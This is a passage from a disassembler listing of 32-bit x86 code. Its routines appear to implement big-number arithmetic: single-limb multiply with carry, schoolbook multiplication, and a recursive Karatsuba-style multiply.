		mov	[ebp+var_C], esp
		lea	esi, [esi]

loc_8058A4C:				; CODE XREF: sub_805876C+4C2j
		cmp	[ebp+arg_10], 1Fh
		jle	loc_8058B78
		mov	ecx, [ebp+var_8]
		push	ecx
		mov	edi, [ebp+arg_10]
		push	edi
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edi, [ebp+arg_4]
		push	edi
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_8059048
		add	esp, 14h

loc_8058A72:				; CODE XREF: sub_805876C+424j
		mov	edi, [ebp+arg_10]
		push	edi
		mov	ecx, [ebp+var_C]
		push	ecx
		mov	edi, [ebp+arg_0]
		push	edi
		push	edi
		call	sub_8066380
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+arg_10]
		lea	eax, ds:0[ecx*4]
		mov	esi, [ebp+arg_0]
		add	esi, eax
		mov	ebx, [ebp+var_C]
		add	ebx, eax
		mov	[ebp+var_10], ecx
		add	esp, 10h
		mov	edx, [ebx]
		add	ebx, 4
		mov	eax, [ebp+var_14]
		add	eax, edx
		mov	[esi], eax
		add	esi, 4
		cmp	eax, edx
		jnb	loc_8058B98
		dec	ecx
		mov	[ebp+var_10], ecx
		jz	loc_8058C18
		mov	eax, ecx
		neg	eax
		and	eax, 3
		test	ecx, ecx
		jle	short loc_8058B0D
		test	eax, eax
		jz	short loc_8058B28
		cmp	eax, 3
		jge	short loc_8058B0D
		cmp	eax, 2
		jge	short loc_8058AF7
		mov	edx, [ebx]
		inc	edx
		add	ebx, 4
		mov	[esi], edx
		add	esi, 4
		test	edx, edx
		jnz	loc_8058B98
		mov	edi, [ebp+arg_10]
		add	edi, 0FFFFFFFEh
		mov	[ebp+var_10], edi

loc_8058AF7:				; CODE XREF: sub_805876C+36Dj
		mov	edx, [ebx]
		inc	edx
		add	ebx, 4
		mov	[esi], edx
		add	esi, 4
		test	edx, edx
		jnz	loc_8058B98
		dec	[ebp+var_10]

loc_8058B0D:				; CODE XREF: sub_805876C+35Fj
					; sub_805876C+368j
		mov	edx, [ebx]
		inc	edx
		add	ebx, 4
		mov	[esi], edx
		add	esi, 4
		test	edx, edx
		jnz	short loc_8058B98
		dec	[ebp+var_10]
		jz	loc_8058C18
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_8058B28:				; CODE XREF: sub_805876C+363j
					; sub_805876C+404j
		mov	edx, [ebx]
		inc	edx
		add	ebx, 4
		mov	[esi], edx
		add	esi, 4
		test	edx, edx
		jnz	short loc_8058B98
		dec	[ebp+var_10]
		mov	edx, [ebx]
		inc	edx
		add	ebx, 4
		mov	[esi], edx
		add	esi, 4
		test	edx, edx
		jnz	short loc_8058B98
		dec	[ebp+var_10]
		mov	edx, [ebx]
		inc	edx
		add	ebx, 4
		mov	[esi], edx
		add	esi, 4
		test	edx, edx
		jnz	short loc_8058B98
		dec	[ebp+var_10]
		mov	edx, [ebx]
		inc	edx
		add	ebx, 4
		mov	[esi], edx
		add	esi, 4
		test	edx, edx
		jnz	short loc_8058B98
		dec	[ebp+var_10]
		jnz	short loc_8058B28
		jmp	loc_8058C18
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8058B78:				; CODE XREF: sub_805876C+2E4j
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edi, [ebp+arg_C]
		push	edi
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edi, [ebp+var_C]
		push	edi
		call	sub_8058E20
		add	esp, 10h
		jmp	loc_8058A72
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8058B98:				; CODE XREF: sub_805876C+346j
					; sub_805876C+37Cj ...
		cmp	esi, ebx
		jz	short loc_8058C18
		mov	[ebp+var_14], 0
		mov	ecx, [ebp+var_10]
		dec	ecx
		mov	[ebp+var_10], ecx
		cmp	[ebp+var_14], ecx
		jge	short loc_8058C18
		mov	eax, ecx
		and	eax, 3
		jz	short loc_8058BE0
		cmp	eax, 1
		jle	short loc_8058BD4
		cmp	eax, 2
		jle	short loc_8058BC7
		mov	eax, [ebx]
		mov	[esi], eax
		inc	[ebp+var_14]

loc_8058BC7:				; CODE XREF: sub_805876C+452j
		mov	edi, [ebp+var_14]
		mov	eax, [ebx+edi*4]
		mov	[esi+edi*4], eax
		inc	edi
		mov	[ebp+var_14], edi

loc_8058BD4:				; CODE XREF: sub_805876C+44Dj
		mov	ecx, [ebp+var_14]
		mov	eax, [ebx+ecx*4]
		mov	[esi+ecx*4], eax
		inc	ecx
		jmp	short loc_8058C0E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8058BE0:				; CODE XREF: sub_805876C+448j
					; sub_805876C+4AAj
		mov	ecx, [ebp+var_14]
		mov	eax, [ebx+ecx*4]
		mov	[esi+ecx*4], eax
		mov	eax, [ebp+var_14]
		inc	eax
		mov	edx, [ebx+eax*4]
		mov	[esi+eax*4], edx
		mov	eax, [ebp+var_14]
		add	eax, 2
		mov	edx, [ebx+eax*4]
		mov	[esi+eax*4], edx
		mov	eax, [ebp+var_14]
		add	eax, 3
		mov	edx, [ebx+eax*4]
		mov	[esi+eax*4], edx
		add	ecx, 4

loc_8058C0E:				; CODE XREF: sub_805876C+472j
		mov	[ebp+var_14], ecx
		mov	edi, [ebp+var_10]
		cmp	ecx, edi
		jnz	short loc_8058BE0

loc_8058C18:				; CODE XREF: sub_805876C+350j
					; sub_805876C+3B3j ...
		mov	ecx, [ebp+arg_10]
		lea	eax, ds:0[ecx*4]
		add	[ebp+arg_0], eax
		add	[ebp+arg_4], eax
		sub	[ebp+arg_8], ecx
		cmp	[ebp+arg_8], ecx
		jge	loc_8058A4C

loc_8058C34:				; CODE XREF: sub_805876C+2CCj
		cmp	[ebp+arg_8], 0
		jz	loc_8058DCC
		mov	edi, [ebp+arg_8]
		push	edi
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edi, [ebp+arg_10]
		push	edi
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edi, [ebp+var_8]
		push	edi
		call	sub_805876C
		mov	ecx, [ebp+arg_10]
		push	ecx
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		push	edi
		call	sub_8066380
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+arg_10]
		lea	eax, ds:0[ecx*4]
		mov	esi, [ebp+arg_0]
		add	esi, eax
		mov	ebx, [ebp+var_8]
		add	ebx, eax
		mov	edi, [ebp+arg_8]
		mov	[ebp+var_10], edi
		mov	edx, [ebx]
		add	ebx, 4
		mov	eax, [ebp+var_14]
		add	eax, edx
		mov	[esi], eax
		add	esi, 4
		cmp	eax, edx
		jnb	loc_8058D4C
		dec	[ebp+var_10]
		jz	loc_8058DCC
		mov	eax, [ebp+var_10]
		neg	eax
		and	eax, 3
		cmp	[ebp+var_10], 0
		jle	short loc_8058CE3
		test	eax, eax
		jz	short loc_8058CFC
		cmp	eax, 3
		jge	short loc_8058CE3
		cmp	eax, 2
		jge	short loc_8058CD1
		mov	edx, [ebx]
		inc	edx
		add	ebx, 4
		mov	[esi], edx
		add	esi, 4
		test	edx, edx
		jnz	short loc_8058D4C
		dec	[ebp+var_10]

loc_8058CD1:				; CODE XREF: sub_805876C+551j
		mov	edx, [ebx]
		inc	edx
		add	ebx, 4
		mov	[esi], edx
		add	esi, 4
		test	edx, edx
		jnz	short loc_8058D4C
		dec	[ebp+var_10]

loc_8058CE3:				; CODE XREF: sub_805876C+543j
					; sub_805876C+54Cj
		mov	edx, [ebx]
		inc	edx
		add	ebx, 4
		mov	[esi], edx
		add	esi, 4
		test	edx, edx
		jnz	short loc_8058D4C
		dec	[ebp+var_10]
		jz	loc_8058DCC
		nop

loc_8058CFC:				; CODE XREF: sub_805876C+547j
					; sub_805876C+5D8j
		mov	edx, [ebx]
		inc	edx
		add	ebx, 4
		mov	[esi], edx
		add	esi, 4
		test	edx, edx
		jnz	short loc_8058D4C
		dec	[ebp+var_10]
		mov	edx, [ebx]
		inc	edx
		add	ebx, 4
		mov	[esi], edx
		add	esi, 4
		test	edx, edx
		jnz	short loc_8058D4C
		dec	[ebp+var_10]
		mov	edx, [ebx]
		inc	edx
		add	ebx, 4
		mov	[esi], edx
		add	esi, 4
		test	edx, edx
		jnz	short loc_8058D4C
		dec	[ebp+var_10]
		mov	edx, [ebx]
		inc	edx
		add	ebx, 4
		mov	[esi], edx
		add	esi, 4
		test	edx, edx
		jnz	short loc_8058D4C
		dec	[ebp+var_10]
		jnz	short loc_8058CFC
		jmp	loc_8058DCC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8058D4C:				; CODE XREF: sub_805876C+528j
					; sub_805876C+560j ...
		cmp	esi, ebx
		jz	short loc_8058DCC
		mov	[ebp+var_14], 0
		mov	ecx, [ebp+var_10]
		dec	ecx
		mov	[ebp+var_10], ecx
		cmp	[ebp+var_14], ecx
		jge	short loc_8058DCC
		mov	eax, ecx
		and	eax, 3
		jz	short loc_8058D94
		cmp	eax, 1
		jle	short loc_8058D88
		cmp	eax, 2
		jle	short loc_8058D7B
		mov	eax, [ebx]
		mov	[esi], eax
		inc	[ebp+var_14]

loc_8058D7B:				; CODE XREF: sub_805876C+606j
		mov	edi, [ebp+var_14]
		mov	eax, [ebx+edi*4]
		mov	[esi+edi*4], eax
		inc	edi
		mov	[ebp+var_14], edi

loc_8058D88:				; CODE XREF: sub_805876C+601j
		mov	ecx, [ebp+var_14]
		mov	eax, [ebx+ecx*4]
		mov	[esi+ecx*4], eax
		inc	ecx
		jmp	short loc_8058DC2
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8058D94:				; CODE XREF: sub_805876C+5FCj
					; sub_805876C+65Ej
		mov	ecx, [ebp+var_14]
		mov	eax, [ebx+ecx*4]
		mov	[esi+ecx*4], eax
		mov	edx, [ebp+var_14]
		inc	edx
		mov	eax, [ebx+edx*4]
		mov	[esi+edx*4], eax
		mov	edx, [ebp+var_14]
		add	edx, 2
		mov	eax, [ebx+edx*4]
		mov	[esi+edx*4], eax
		mov	edx, [ebp+var_14]
		add	edx, 3
		mov	eax, [ebx+edx*4]
		mov	[esi+edx*4], eax
		add	ecx, 4

loc_8058DC2:				; CODE XREF: sub_805876C+626j
		mov	[ebp+var_14], ecx
		mov	edi, [ebp+var_10]
		cmp	ecx, edi
		jnz	short loc_8058D94

loc_8058DCC:				; CODE XREF: sub_805876C+4CCj
					; sub_805876C+531j ...
		mov	ecx, [ebp+var_4]
		mov	eax, [ecx]

loc_8058DD1:				; CODE XREF: sub_805876C+2Bj
					; sub_805876C+268j
		lea	esp, [ebp+var_20]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805876C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 5 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8058DE0	proc near		; CODE XREF: sub_80531DC+42p
					; sub_80531DC+107p ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	ebx, [ebp+arg_C]
		push	ebp
		lea	edi, [edi+ecx*4]
		lea	esi, [esi+ecx*4]
		neg	ecx
		xor	edx, edx
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_8058E00:				; CODE XREF: sub_8058DE0+30j
		mov	ebp, edx
		mov	eax, [esi+ecx*4]
		mul	ebx
		add	eax, ebp
		adc	edx, 0
		mov	[edi+ecx*4], eax
		inc	ecx
		jnz	short loc_8058E00
		mov	eax, edx
		pop	ebp
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8058DE0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8058E20	proc near		; CODE XREF: sub_805876C+280p
					; sub_805876C+41Cp ...

var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_8]
		mov	eax, [esi]
		cmp	eax, 1
		ja	loc_8058F14
		jnz	short loc_8058EB0
		xor	ecx, ecx
		cmp	[ebp+arg_C], ecx
		jle	loc_8058F0F
		mov	eax, [ebp+arg_C]
		and	eax, 3
		jz	short loc_8058E80
		cmp	eax, 1
		jle	short loc_8058E6B
		cmp	eax, 2
		jle	short loc_8058E61
		mov	edi, [ebp+arg_4]
		mov	eax, [edi]
		mov	[ebx], eax
		inc	ecx

loc_8058E61:				; CODE XREF: sub_8058E20+37j
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+ecx*4]
		mov	[ebx+ecx*4], eax
		inc	ecx

loc_8058E6B:				; CODE XREF: sub_8058E20+32j
		mov	edi, [ebp+arg_4]
		mov	eax, [edi+ecx*4]
		mov	[ebx+ecx*4], eax
		inc	ecx
		cmp	[ebp+arg_C], ecx
		jz	loc_8058F0F
		lea	esi, [esi]

loc_8058E80:				; CODE XREF: sub_8058E20+2Dj
					; sub_8058E20+8Aj
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+ecx*4]
		mov	[ebx+ecx*4], eax
		lea	eax, [ecx+1]
		mov	edx, [esi+eax*4]
		mov	[ebx+eax*4], edx
		lea	eax, [ecx+2]
		mov	edx, [esi+eax*4]
		mov	[ebx+eax*4], edx
		lea	eax, [ecx+3]
		mov	edx, [esi+eax*4]
		mov	[ebx+eax*4], edx
		add	ecx, 4
		cmp	[ebp+arg_C], ecx
		jnz	short loc_8058E80
		jmp	short loc_8058F0F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8058EB0:				; CODE XREF: sub_8058E20+1Aj
		xor	eax, eax
		cmp	[ebp+arg_C], eax
		jle	short loc_8058F0F
		mov	edx, [ebp+arg_C]
		and	edx, 3
		jz	short loc_8058EE8
		cmp	edx, 1
		jle	short loc_8058ED8
		cmp	edx, 2
		jle	short loc_8058ED0
		mov	dword ptr [ebx], 0
		inc	eax

loc_8058ED0:				; CODE XREF: sub_8058E20+A7j
		mov	dword ptr [ebx+eax*4], 0
		inc	eax

loc_8058ED8:				; CODE XREF: sub_8058E20+A2j
		mov	dword ptr [ebx+eax*4], 0
		inc	eax
		cmp	[ebp+arg_C], eax
		jz	short loc_8058F0F
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_8058EE8:				; CODE XREF: sub_8058E20+9Dj
					; sub_8058E20+EDj
		mov	dword ptr [ebx+eax*4], 0
		mov	dword ptr [ebx+eax*4+4], 0
		mov	dword ptr [ebx+eax*4+8], 0
		mov	dword ptr [ebx+eax*4+0Ch], 0
		add	eax, 4
		cmp	[ebp+arg_C], eax
		jnz	short loc_8058EE8

loc_8058F0F:				; CODE XREF: sub_8058E20+21j
					; sub_8058E20+58j ...
		xor	edx, edx
		jmp	short loc_8058F28
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8058F14:				; CODE XREF: sub_8058E20+14j
		push	eax
		mov	edi, [ebp+arg_C]
		push	edi
		mov	esi, [ebp+arg_4]
		push	esi
		push	ebx
		call	sub_8058DE0
		mov	edx, eax
		add	esp, 10h

loc_8058F28:				; CODE XREF: sub_8058E20+F1j
		mov	edi, [ebp+arg_C]
		mov	[ebx+edi*4], edx
		add	ebx, 4
		mov	[ebp+var_4], 1
		cmp	[ebp+var_4], edi
		jge	loc_805903C
		test	edi, 1
		jnz	short loc_8058F98
		mov	esi, [ebp+arg_8]
		mov	eax, [esi+4]
		cmp	eax, 1
		ja	short loc_8058F6C
		xor	edx, edx
		cmp	eax, 1
		jnz	short loc_8058F80
		push	edi
		mov	edi, [ebp+arg_4]
		push	edi
		push	ebx
		push	ebx
		call	sub_8066380
		jmp	short loc_8058F7B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8058F6C:				; CODE XREF: sub_8058E20+132j
		push	eax
		mov	esi, [ebp+arg_C]
		push	esi
		mov	edi, [ebp+arg_4]
		push	edi
		push	ebx
		call	sub_8066420

loc_8058F7B:				; CODE XREF: sub_8058E20+147j
		mov	edx, eax
		add	esp, 10h

loc_8058F80:				; CODE XREF: sub_8058E20+139j
		mov	esi, [ebp+arg_C]
		mov	[ebx+esi*4], edx
		add	ebx, 4
		inc	[ebp+var_4]
		cmp	[ebp+var_4], esi
		jz	loc_805903C
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_8058F98:				; CODE XREF: sub_8058E20+127j
					; sub_8058E20+216j
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_8]
		mov	eax, [esi+edi*4]
		cmp	eax, 1
		ja	short loc_8058FC0
		xor	edx, edx
		cmp	eax, 1
		jnz	short loc_8058FD4
		mov	edi, [ebp+arg_C]
		push	edi
		mov	esi, [ebp+arg_4]
		push	esi
		push	ebx
		push	ebx
		call	sub_8066380
		jmp	short loc_8058FCF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8058FC0:				; CODE XREF: sub_8058E20+184j
		push	eax
		mov	edi, [ebp+arg_C]
		push	edi
		mov	esi, [ebp+arg_4]
		push	esi
		push	ebx
		call	sub_8066420

loc_8058FCF:				; CODE XREF: sub_8058E20+19Cj
		mov	edx, eax
		add	esp, 10h

loc_8058FD4:				; CODE XREF: sub_8058E20+18Bj
		mov	edi, [ebp+arg_C]
		mov	[ebx+edi*4], edx
		lea	esi, [ebx+4]
		mov	[ebp+var_8], esi
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_8]
		mov	eax, [esi+edi*4+4]
		cmp	eax, 1
		ja	short loc_805900C
		xor	edx, edx
		cmp	eax, 1
		jnz	short loc_8059023
		mov	edi, [ebp+arg_C]
		push	edi
		mov	esi, [ebp+arg_4]
		push	esi
		mov	edi, [ebp+var_8]
		push	edi
		push	edi
		call	sub_8066380
		jmp	short loc_805901E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805900C:				; CODE XREF: sub_8058E20+1CDj
		push	eax
		mov	esi, [ebp+arg_C]
		push	esi
		mov	edi, [ebp+arg_4]
		push	edi
		mov	esi, [ebp+var_8]
		push	esi
		call	sub_8066420

loc_805901E:				; CODE XREF: sub_8058E20+1E8j
		mov	edx, eax
		add	esp, 10h

loc_8059023:				; CODE XREF: sub_8058E20+1D4j
		mov	edi, [ebp+arg_C]
		mov	esi, [ebp+var_8]
		mov	[esi+edi*4], edx
		add	ebx, 8
		add	[ebp+var_4], 2
		cmp	[ebp+var_4], edi
		jnz	loc_8058F98

loc_805903C:				; CODE XREF: sub_8058E20+11Bj
					; sub_8058E20+16Fj
		lea	esp, [ebp+var_14]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8058E20	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8059048	proc near		; CODE XREF: sub_805876C+2AEp
					; sub_805876C+2FEp ...

var_20		= byte ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_C]
		test	esi, 1
		jz	loc_805911C
		dec	esi
		mov	[ebp+var_14], esi
		cmp	esi, 1Fh
		jle	short loc_80590D4
		mov	edi, [ebp+arg_10]
		push	edi
		push	esi
		mov	esi, [ebp+arg_8]
		push	esi
		mov	edi, [ebp+arg_4]
		push	edi
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_8059048
		add	esp, 14h

loc_8059082:				; CODE XREF: sub_8059048+A4j
		mov	edi, [ebp+var_14]
		mov	esi, [ebp+arg_8]
		mov	eax, [esi+edi*4]
		push	eax
		push	edi
		mov	edi, [ebp+arg_4]
		push	edi
		mov	esi, [ebp+var_14]
		mov	edi, [ebp+arg_0]
		lea	ebx, [edi+esi*4]
		push	ebx
		call	sub_8066420
		mov	edx, eax
		mov	eax, [ebp+var_14]
		add	eax, eax
		mov	[edi+eax*4], edx
		mov	edi, [ebp+arg_4]
		mov	eax, [edi+esi*4]
		push	eax
		mov	esi, [ebp+arg_C]
		push	esi
		mov	edi, [ebp+arg_8]
		push	edi
		push	ebx
		call	sub_8066420
		mov	edx, eax
		mov	eax, [ebp+arg_C]
		add	eax, [ebp+var_14]
		mov	esi, [ebp+arg_0]
		mov	[esi+eax*4], edx
		jmp	loc_8059710
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80590D4:				; CODE XREF: sub_8059048+1Fj
		mov	edi, [ebp+var_14]
		push	edi
		mov	esi, [ebp+arg_8]
		push	esi
		mov	edi, [ebp+arg_4]
		push	edi
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_8058E20
		add	esp, 10h
		jmp	short loc_8059082
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80590F0:				; CODE XREF: sub_8059048+E0j
		mov	edi, [ebp+var_4]
		push	edi
		lea	eax, ds:0[edi*4]
		mov	edx, [ebp+arg_8]
		add	edx, eax
		push	edx
		add	eax, [ebp+arg_4]
		push	eax
		mov	esi, [ebp+arg_C]
		mov	edi, [ebp+arg_0]
		lea	eax, [edi+esi*4]
		push	eax
		call	sub_8058E20
		add	esp, 10h
		jmp	short loc_8059152
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805911C:				; CODE XREF: sub_8059048+12j
		mov	esi, [ebp+arg_C]
		sar	esi, 1
		mov	[ebp+var_4], esi
		cmp	esi, 1Fh
		jle	short loc_80590F0
		mov	edi, [ebp+arg_10]
		push	edi
		push	esi
		lea	eax, ds:0[esi*4]
		mov	edx, [ebp+arg_8]
		add	edx, eax
		push	edx
		add	eax, [ebp+arg_4]
		push	eax
		mov	esi, [ebp+arg_C]
		mov	edi, [ebp+arg_0]
		lea	eax, [edi+esi*4]
		push	eax
		call	sub_8059048
		add	esp, 14h

loc_8059152:				; CODE XREF: sub_8059048+CFj
		mov	esi, [ebp+var_4]
		push	esi
		mov	edi, [ebp+arg_4]
		push	edi
		lea	ebx, [edi+esi*4]
		push	ebx
		call	sub_8057F48
		add	esp, 0Ch
		test	eax, eax
		jl	short loc_8059180
		push	esi
		push	edi
		push	ebx
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_805A010
		mov	[ebp+var_C], 0
		jmp	short loc_805919C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8059180:				; CODE XREF: sub_8059048+120j
		mov	edi, [ebp+var_4]
		push	edi
		mov	esi, [ebp+arg_4]
		lea	eax, [esi+edi*4]
		push	eax
		push	esi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_805A010
		mov	[ebp+var_C], 1

loc_805919C:				; CODE XREF: sub_8059048+135j
		add	esp, 10h
		mov	esi, [ebp+var_4]
		push	esi
		mov	edi, [ebp+arg_8]
		push	edi
		shl	esi, 2
		mov	[ebp+var_14], esi
		mov	ebx, [ebp+arg_8]
		add	ebx, esi
		push	ebx
		call	sub_8057F48
		add	esp, 0Ch
		test	eax, eax
		jl	short loc_80591F8
		mov	edi, [ebp+var_4]
		push	edi
		mov	esi, [ebp+arg_8]
		push	esi
		push	ebx
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_14]
		push	eax
		call	sub_805A010
		xor	byte ptr [ebp+var_C], 1
		jmp	short loc_8059216
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80591DC:				; CODE XREF: sub_8059048+1D5j
		mov	edi, [ebp+var_4]
		push	edi
		mov	esi, [ebp+arg_0]
		lea	eax, [esi+edi*4]
		push	eax
		push	esi
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_8058E20
		add	esp, 10h
		jmp	short loc_8059241
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80591F8:				; CODE XREF: sub_8059048+175j
		mov	esi, [ebp+var_4]
		push	esi
		lea	eax, ds:0[esi*4]
		mov	edx, [ebp+arg_8]
		add	edx, eax
		push	edx
		mov	edi, [ebp+arg_8]
		push	edi
		add	eax, [ebp+arg_0]
		push	eax
		call	sub_805A010

loc_8059216:				; CODE XREF: sub_8059048+190j
		add	esp, 10h
		cmp	[ebp+var_4], 1Fh
		jle	short loc_80591DC
		mov	esi, [ebp+arg_C]
		mov	edi, [ebp+arg_10]
		lea	eax, [edi+esi*4]
		push	eax
		mov	esi, [ebp+var_4]
		push	esi
		mov	edi, [ebp+arg_0]
		lea	eax, [edi+esi*4]
		push	eax
		push	edi
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_8059048
		add	esp, 14h

loc_8059241:				; CODE XREF: sub_8059048+1ACj
		cmp	[ebp+var_4], 0
		jle	loc_80592CF
		mov	edi, [ebp+arg_C]
		lea	edx, ds:0[edi*4]
		mov	esi, [ebp+var_4]
		lea	ecx, ds:0[esi*4]
		lea	ebx, [edx+ecx]
		mov	eax, esi
		and	eax, 3
		jz	short loc_80592A4
		cmp	eax, 1
		jle	short loc_8059291
		cmp	eax, 2
		jle	short loc_8059282
		mov	edi, [ebp+arg_0]
		mov	eax, [edi+edx]
		mov	[edi+ecx], eax
		add	edx, 4
		add	ecx, 4

loc_8059282:				; CODE XREF: sub_8059048+229j
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+edx]
		mov	[esi+ecx], eax
		add	edx, 4
		add	ecx, 4

loc_8059291:				; CODE XREF: sub_8059048+224j
		mov	edi, [ebp+arg_0]
		mov	eax, [edi+edx]
		mov	[edi+ecx], eax
		add	edx, 4
		add	ecx, 4
		cmp	edx, ebx
		jz	short loc_80592CF

loc_80592A4:				; CODE XREF: sub_8059048+21Fj
					; sub_8059048+285j
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+edx]
		mov	[esi+ecx], eax
		mov	eax, [esi+edx+4]
		mov	[esi+ecx+4], eax
		mov	eax, [esi+edx+8]
		mov	[esi+ecx+8], eax
		mov	eax, [esi+edx+0Ch]
		mov	[esi+ecx+0Ch], eax
		add	edx, 10h
		add	ecx, 10h
		cmp	edx, ebx
		jnz	short loc_80592A4

loc_80592CF:				; CODE XREF: sub_8059048+1FDj
					; sub_8059048+25Aj
		mov	edi, [ebp+var_4]
		push	edi
		mov	esi, [ebp+arg_C]
		mov	edi, [ebp+arg_0]
		lea	edx, [edi+esi*4]
		mov	esi, [ebp+var_4]
		lea	ebx, ds:0[esi*4]
		lea	eax, [ebx+edx]
		push	eax
		push	edx
		push	edx
		call	sub_8066380
		mov	[ebp+var_8], eax
		add	esp, 10h
		cmp	[ebp+var_C], 0
		jz	short loc_8059334
		mov	edi, [ebp+arg_C]
		push	edi
		mov	esi, [ebp+arg_10]
		push	esi
		mov	eax, [ebp+arg_0]
		add	eax, ebx
		push	eax
		push	eax
		call	sub_805A010
		sub	[ebp+var_8], eax
		jmp	short loc_805934F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8059318:				; CODE XREF: sub_8059048+30Ej
		mov	edi, [ebp+var_4]
		push	edi
		mov	esi, [ebp+arg_8]
		push	esi
